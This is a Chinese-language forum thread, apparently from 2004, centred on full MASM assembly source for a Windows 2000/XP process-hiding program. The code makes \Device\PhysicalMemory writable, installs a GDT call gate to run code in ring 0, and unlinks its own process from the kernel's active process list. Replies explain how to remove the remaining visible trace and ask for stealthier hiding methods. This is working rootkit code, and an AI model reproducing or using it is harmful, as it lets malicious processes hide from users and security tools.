wowocock(你的can you see me?不行拉。)

你写的那个can you see me  
在进程里看不到 不过运用程序却看的到  咋办？
和系统有关吗？（w2k,sp4）还是本来就这样子的？  
(ps:以前在黑防上看到你写的代码:))




////////////////////////////////////////////////////////////


.686p
  .model flat, stdcall
  option casemap :none ; case sensitive
  ; #########################################################################
  include \masm32\include\windows.inc
  include \masm32\include\user32.inc
  include \masm32\include\kernel32.inc
  include \masm32\include\advapi32.inc
  
  includelib \masm32\lib\user32.lib
  includelib \masm32\lib\kernel32.lib
  includelib \masm32\lib\advapi32.lib
  DEBUG = TRUE
  
  HMODULE typedef dword
  NTSTATUS typedef dword
  PACL typedef dword
  PSECURITY_DESCRIPTOR typedef dword
  
  OBJ_INHERIT=2
  OBJ_PERMANENT=10h
  OBJ_EXCLUSIVE=20h
  OBJ_CASE_INSENSITIVE=40h
  OBJ_OPENIF=80h
  OBJ_OPENLINK =100h
  OBJ_KERNEL_HANDLE=200
  OBJ_VALID_ATTRIBUTES=3F2h
  
  SE_KERNEL_OBJECT = 6
  GRANT_ACCESS =1
  NO_INHERITANCE =0
  TRUSTEE_IS_NAME=1
  TRUSTEE_IS_USER=1
  STATUS_SUCCESS =0
  STATUS_ACCESS_DENIED =0C0000022h
  
  STATUS_ACCESS_VIOLATION equ 0C0000005h
  STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
  SystemModuleInformation equ 11
  PVOID TYPEDEF DWORD
  UNLONG TYPEDEF DWORD
  CHAR TYPEDEF BYTE
  
  UNICODE_STRING struct
   nLength word ?
   MaximumLength word ?
   Buffer dword ?
  UNICODE_STRING ends
  
  OBJECT_ATTRIBUTES struct
   nLength dword ?
   RootDirectory HANDLE ?
   ObjectName dword ?;PUNICODE_STRING
   Attributes dword ?;
   SecurityDescriptor dword ?; PVOID // Points to type SECURITY_DESCRIPTOR
   SecurityQualityOfService dword ?;PVOID // Points to type SECURITY_QUALITY_OF_SERVICE
  OBJECT_ATTRIBUTES ends
  
  
  TRUSTEE struct
   pMultipleTrustee dword ?;PTRUSTEE
   MultipleTrusteeOperation dword ?; MULTIPLE_TRUSTEE_OPERATION
   TrusteeForm dword ?;TRUSTEE_FORM
   TrusteeType dword ?;TRUSTEE_TYPE
   ptstrName dword ?;LPTSTR
  TRUSTEE ends
  
  
  EXPLICIT_ACCESS struct
   grfAccessPermissions DWORD ?
   grfAccessMode dword ? ;ACCESS_MODE
   grfInheritance DWORD ? ;
   Trustee TRUSTEE <> ;
  EXPLICIT_ACCESS ends
  
  MyGATE struct ;门结构类型定义
   OFFSETL WORD ? ;32位偏移的低16位
   SELECTOR WORd ? ;选择子
   DCOUNT BYTE ? ;双字计数字段
   GTYPE BYTE ? ;类型
   OFFSETH WORD ? ;32位偏移的高16位
  MyGATE ends
  
  SetPhyscialMemorySectionCanBeWrited proto :dword
  MiniMmGetPhysicalAddress proto :dword
  
  ENTERRING0 macro
  pushad
  pushfd
  cli
  mov eax,cr0 ;get rid off readonly protect
  and eax,0fffeffffh
  mov cr0,eax
  endm
  
  LEAVERING0 macro
  mov eax,cr0 ;restore readonly protect
  or eax,10000h
  mov cr0,eax
  sti
  popfd
  popad
  retf
  endm
  
  
  UNICODE_STR macro str
  irpc _c,<str>
  db ‘&_c‘
  db 0
  endm
  endm
  
  .data?
  GdtLimit dw ?
  GdtAddr dd ?
  
  mapAddr dd ?
  OldEsp dd ?
  
  ProcessOffset dd ?
  g_osvi OSVERSIONINFO<?>
  
  .data
  align 4
  objname dw objnamestr_size,objnamestr_size+2
  objnameptr dd 0
  objnamestr equ this byte
  UNICODE_STR <\Device\PhysicalMemory>
  objnamestr_size equ $-objnamestr
  
  align 4
  ObjAttr db 24 dup (0)
  IsIdtFlag dd 0
  IsNt dd 0
  IsXp dd 0
  Callgt dq 0 ;call gate‘s sel:off
  Caption db ‘Hide Process‘,0
  Text db “Can you see me?“,0
  
  .code
  
  SetPhyscialMemorySectionCanBeWrited proc uses ebx esi edi hSection:HANDLE
  local pDacl: PACL
  local pNewDacl:PACL
  local pSD :PSECURITY_DESCRIPTOR
  local dwRes:DWORD ;
  local ea:EXPLICIT_ACCESS ;
  invoke GetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
   NULL,NULL, addr pDacl,NULL, addr pSD
  cmp eax,ERROR_SUCCESS
  jz @f
  jmp OutSet
  @@:
  mov dwRes,eax
  mov ea.grfAccessPermissions ,SECTION_MAP_WRITE;2
  mov ea.grfAccessMode ,GRANT_ACCESS;1
  mov ea.grfInheritance,NO_INHERITANCE;0
  mov ea.Trustee.pMultipleTrustee,0
  mov ea.Trustee.MultipleTrusteeOperation,0
  mov ea.Trustee.TrusteeForm,TRUSTEE_IS_NAME;1
  mov ea.Trustee.TrusteeType,TRUSTEE_IS_USER;1
  call @f
  db “CURRENT_USER“,0
  @@:
  pop edx
  mov ea.Trustee.ptstrName,edx
  invoke SetEntriesInAcl,1,addr ea,pDacl,addr pNewDacl
  cmp eax,ERROR_SUCCESS
  jz @f
  jmp OutSet
  @@:
  invoke SetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
   NULL,NULL,pNewDacl,NULL
  OutSet:
  cmp pSD,0
  jz @f
  invoke LocalFree,pSD
  @@:
  cmp pNewDacl,0
  jz @f
  invoke LocalFree,pNewDacl
  @@:
  ret
  SetPhyscialMemorySectionCanBeWrited endp
  
  MiniMmGetPhysicalAddress proc virtualaddress:dword
   mov eax,virtualaddress
   cmp eax,80000000h
   jb @f
   cmp eax,0a0000000h
   jae @f
   and eax,1FFFF000h
   ret
   @@:
   mov eax,0
   ret
  MiniMmGetPhysicalAddress endp
  
  ExecRing0Proc proc
  local tmpSel:dword
  local setcg:dword
  local BaseAddress:dword
  local NtdllMod :dword
  local hSection:HANDLE
  local status:NTSTATUS
  local objectAttributes:OBJECT_ATTRIBUTES
  local objName:UNICODE_STRING
  mov status,STATUS_SUCCESS;
  sgdt GdtLimit
  invoke MiniMmGetPhysicalAddress,GdtAddr
  mov mapAddr,eax
  test eax,eax
  jz Exit1
  call @f
  db “Ntdll.dll“,0
  @@:
  call LoadLibraryA
  mov NtdllMod,eax
  
  lea edx,objnamestr
  mov objnameptr,edx
  lea edi,ObjAttr
  and di,0fffch ;align to 4 bytes,or ZwOpenSection will fail
  push edi ;edi->ObjAttr
  push 24 ;length of <\Device\PhysicalMemory>
  pop ecx
  push ecx
  xor eax,eax
  rep stosb ;put ObjAttr with 0
  pop ecx
  pop edi
  mov esi,edi
  stosd
  mov dword ptr[esi],ecx
  stosd
  lea eax,[edx-8] ;eax->objname
  stosd ;ObjAddr(18h,00,00,00,00,00,00,00,offset objname,40,02,00,00,dd 2 dup(0)
  mov dword ptr [edi],240h
  
  call @f
  db “ZwOpenSection“,0
  @@:
  push NtdllMod
  call GetProcAddress
  mov ebx,eax ;ebx=ZwOpenSection
  
  push esi ;esi->ObjAttr
  push SECTION_MAP_READ or SECTION_MAP_WRITE
  lea edi,hSection
  push edi ;edi->hSection
  call eax ;ZwOpenSection(&hSection,SECTION_MAP_READ or SECTION_MAP_WRITE,ObjAttr)
  
  mov status,eax
  cmp status,STATUS_ACCESS_DENIED
  jnz AccessPermit
  mov eax,ebx
  
  push esi
  push READ_CONTROL or WRITE_DAC
  push edi
  call eax
  
  mov status,eax
  invoke SetPhyscialMemorySectionCanBeWrited,hSection
  
  call @f
  db “ZwClose“,0
  @@:
  push NtdllMod
  call GetProcAddress
  
  push hSection
  call eax ;zwClose hSection
  
  mov eax,ebx
  
  push esi
  push SECTION_MAP_READ or SECTION_MAP_WRITE
  lea edi,hSection
  push edi
  call eax
  mov status ,eax
  ;status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
  AccessPermit:
  cmp status ,STATUS_SUCCESS
  jz @f
  ;printf(“Error Open PhysicalMemory Section Object,Status:%08X\n“,status);
  ;return 0;
  mov eax,0
  ret
  @@:
  movzx eax,word ptr[GdtLimit]
  inc eax
  invoke MapViewOfFile,hSection, FILE_MAP_READ or FILE_MAP_WRITE, 0, mapAddr, \
   eax
  mov BaseAddress,eax
  cmp BaseAddress,0
  jnz @f
  ;printf(“Error MapViewOfFile:“);
  ;PrintWin32Error(GetLastError()); return 0;
  mov eax,0
  ret
  @@:
  mov esi,eax ;esi->gdt base
  mov ecx,3e0h
  mov eax,GdtAddr
  
  .if dword ptr [esi+ecx+2]!=0ec0003e8h
  mov byte ptr [esi],0c3h
  
  mov word ptr [esi+ecx],ax
  shr eax,16
  mov word ptr [esi+ecx+6],ax
  mov dword ptr [esi+ecx+2],0ec0003e8h
  
  mov dword ptr [esi+ecx+8],0000ffffh
  mov dword ptr [esi+ecx+12],00cf9a00h
  .endif
  
  mov setcg,TRUE
  cmp setcg,0
  jnz ChangeOK
  call @f
  db “ZwClose“,0
  @@:
  push NtdllMod
  call GetProcAddress
  push hSection
  call eax
  xor eax,eax
  ret
  ChangeOK:
  and dword ptr Callgt,0
  xor eax,eax
  mov ax,3e0h
  or al,3h
  mov word ptr [Callgt+4],ax
  ;farcall[2]=((short)((ULONG)cg-(ULONG)BaseAddress))|3; //Ring 3 callgate;
  lea eax,_Ring0Proc
  ;invoke VirtualLock,eax,seglen
  test eax,eax
  jnz @f
  xor eax,eax
  ret
  @@:
  invoke GetCurrentThread
  invoke SetThreadPriority,eax,THREAD_PRIORITY_TIME_CRITICAL
  
  mov eax,3e0h
  lar edx,eax
  jnz Ring3
  
  invoke Sleep,0
  call fword ptr [Callgt] ;use callgate to Ring0!
  
  _Ring0Proc: ; Ring0 code here..
  mov eax,esp ;save ring0 esp
  mov esp,[esp+4];->ring3 esp
  push eax
  pushad
  
  mov eax,dword ptr ds:[0ffdff124h];kteb
  mov eax,[eax+44h] ;kpeb
  .if IsNt==1
   mov ProcessOffset,0a0h
  .elseif IsXp==1
   mov ProcessOffset,088h
  .endif
  mov ecx,ProcessOffset
  mov esi,dword ptr[eax+ecx] ;forword
  mov edi,dword ptr[eax+ecx+4] ;backword
  
  mov dword ptr[esi+4],edi
  mov dword ptr[edi],esi
  
  popad
  pop esp ;restore ring0 esp
  push offset Ring3
  retf
  Ring0CodeLen=$-_Ring0Proc
  
  Ring3:
  invoke GetCurrentThread
  invoke SetThreadPriority,eax,THREAD_PRIORITY_NORMAL
  
  ;invoke VirtualUnlock,Entry,seglen
  
  call @f
  db “ZwClose“,0
  @@:
  push NtdllMod
  call GetProcAddress
  push hSection
  call eax
  mov eax,TRUE
  ret
  ExecRing0Proc endp
  
  main:
  assume fs:nothing
  push offset MySEH
  push fs:[0]
  mov fs:[0],esp
  mov OldEsp,esp
  mov ax,ds ;if Win9x?
  test ax,4
  jnz Exit1
  
  push esi
  lea esi,g_osvi
  assume esi:ptr OSVERSIONINFO
  mov [esi].dwOSVersionInfoSize,sizeof OSVERSIONINFO
  invoke GetVersionEx,addr g_osvi
  .if [esi].dwMajorVersion != 5
   jmp Exit1
  .endif
  
  .if [esi].dwMinorVersion==0
   mov IsNt,1
  .elseif [esi].dwMinorVersion==1
   mov IsXp,1
  .else
   jmp Exit1
  .endif
  pop esi
  
  invoke ExecRing0Proc
  invoke MessageBoxA,0,addr Text,addr Caption,MB_OK
  Exit1:
  pop fs:[0]
  add esp,4
  invoke ExitProcess,0
  
  MySEH :
  mov esp,OldEsp
  pop fs:[0]
  add esp,4
  invoke ExitProcess,-1
  end main

过运用程序却看的到??
运用的是什么程序呢???

不是拉 windows自带的进程查看器啊
在第二页的“进程”里看不到
可是在第一页的“正在运行的程序”却看到了。。。
怎么回事呢？

[编辑 -  9/21/04 by  windxp]

z这是因为为了测试特意用一个MESSAGEBOX来让你看到,表示进程的存在而已,把MESSAGEBOX换掉即可.

偶  知道了  
象这种的还有  QQ在98可以在“ctrl+alt+del”看到
在2000只在“查看进程”里才能看到。。
这是什么原因呢？
wowocock知道吗？
还有这种方法隐藏已经可以查出来了
还有什么好方法吗？（在安焦上看到一个别的方法 不过都是硬编码的 没 什么好看的。）

忘了问大家一件事了 要给分吗  偶刚来 不懂规矩^_^##

除非你自己来实现核心线程调度连表

偶  知道了  
象这种的还有  QQ在98可以在“ctrl+alt+del”看到
在2000只在“查看进程”里才能看到。。
这是什么原因呢？
wowocock知道吗？
还有这种方法隐藏已经可以查出来了
还有什么好方法吗？（在安焦上看到一个别的方法 不过都是硬编码的 没 什么好看的。）

什么方法?